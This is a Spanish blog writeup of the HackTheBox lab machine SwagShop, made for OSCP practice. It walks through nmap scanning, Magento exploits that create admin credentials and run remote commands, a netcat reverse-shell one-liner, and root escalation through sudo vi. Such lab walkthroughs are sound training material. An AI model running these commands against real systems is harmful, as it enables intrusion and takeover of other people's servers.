Saltar al contenido

HackTheBox – SwagShop – Writeup – (OSCP Friendly)

En este post voy a vulnerar la máquina SwagShop de Hack The Box. Es una máquina Linux, de nivel fácil, pero que realmente es muy fácil de resolver, y está basada en Remote Code Execution (RCE) y permisos de sudo.

Enumeración

Comienzo escaneado los 65535 puertos del protocolo TCP, estableciendo un envío mínimo de 5000 paquetes por segundo.

nmap -p- -n --open --min-rate 5000 10.10.10.140

En la máquina hay dos puertos abiertos. Escaneo los puertos que he encontrado para ver la versión de los servicios que están corriendo en ellos y ejecuto una serie de scripts de enumeración básicos.

nmap -p22,80 -sCV 10.10.10.140
Starting Nmap 7.91 ( https://nmap.org ) at 2022-04-11 17:06 CEST
Nmap scan report for 10.10.10.140
Host is up (0.12s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 b6:55:2b:d2:4e:8f:a3:81:72:61:37:9a:12:f6:24:ec (RSA)
|   256 2e:30:00:7a:92:f0:89:30:59:c1:77:56:ad:51:c0:ba (ECDSA)
|_  256 4c:50:d5:f2:70:c5:fd:c4:b2:f0:bc:42:20:32:64:34 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Did not follow redirect to http://swagshop.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.28 seconds

HTTP

Como en la salida de nmap me muestra el dominio swagshop.htb lo añado al /etc/hosts y entro en la web.

La web ya me indica que está hecha con el CMS Magento así que busco vulnerabilidades en exploit-db y encuentro esta, registrada como CVE-2015-1397, que crea unas credenciales con las que autenticarme.

Explotación

Me dirijo a su pantalla de autenticación y descubro que está en http://swagshop.htb/index.php/admin por lo que tengo que modificar el campo target del exploit.

Simplemente ejecuto el exploit y crea unas credenciales con las que autenticarme.

Volviendo a repasar la lista de exploit-db, justo encima encuentro una vulnerabilidad de Authenticated RCE.

El exploit falla al ejecutarlo pero después de un rato buscando por google encuentro como arreglar.

Solamente hay que cambiar una parte del código.

#br.form.new_control('text', 'login[username]', {'value': username})  # Had to manually add username control.
#br.form.fixup()
#br['login[username]'] = username
#br['login[password]'] = password

userone = br.find_control(name="login[username]", nr=0)
userone.value = username
pwone = br.find_control(name="login[password]", nr=0)
pwone.value = password

Ejecuto un par de comandos y compruebo que el exploit funciona.

python 37811.py http://swagshop.htb/index.php/admin "uname -a"
python 37811.py http://swagshop.htb/index.php/admin "whoami"

Ahora que ya puedo ejecutar comandos en la máquina víctima, voy a conseguir una shell reversa. Primero pongo un netcat a la escucha por el puerto 443 y después ejecuto el siguiente comando:

python 37811.py http://swagshop.htb/index.php/admin "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.6 443 >/tmp/f"

Esta shell requiere un tratamiento de la tty. Al final del post indico los comandos para hacerlo manualmente pero yo he utilizado mi script (que se puede encontrar en mi github) para hacerlo de forma automática.

La flag de usuario la encuentro en /home/haris/user.txt.

Escalada de Privilegios

Ejecuto un sudo -l para enumerar los privilegios de root (los comandos de root) que puedo ejecutar y encuentro que puedo ejecutar que puedo ejecutar vi como root sin necesidad de contraseña dentro del directorio /var/www/html.

Busco en GTFOBins y encuentro una forma de elevar privilegios con este comando. Ejecuto el siguiente comando y me convierto en root.

sudo /usr/bin/vi /var/www/html/test -c ':!/bin/bash'

La flag de root la encuentro en la ruta /root/root.txt.

tty

Como ya he dicho anteriormente en otros post, para que la máquina esté resuelta de modo OSCP Friendly, es necesario conseguir una shell tty. Con los siguientes comandos consigo convertir la shell en shell tty en fácilmente.

script /dev/null -c bash
^Z

CTRL + Z

Ahora sin cambiar de consola.

stty raw -echo; fg
reset

Y con esto vuelvo a la shell reversa. Añado los siguientes comandos.

xterm
export TERM=xterm
export SHELL=bash

Y ya he conseguido una consola tty.

Para finalizar (esto es opcional) solo me faltaría adaptar las dimensiones de la shell de la consola a las de mi ventana de shell. En una shell de mi máquina atacante compruebo las dimensiones de la ventana.

stty size

Y las modifico en la shell reversa.

stty rows [X] columns [Y]
Publicado enCTFHTBLinuxOSCP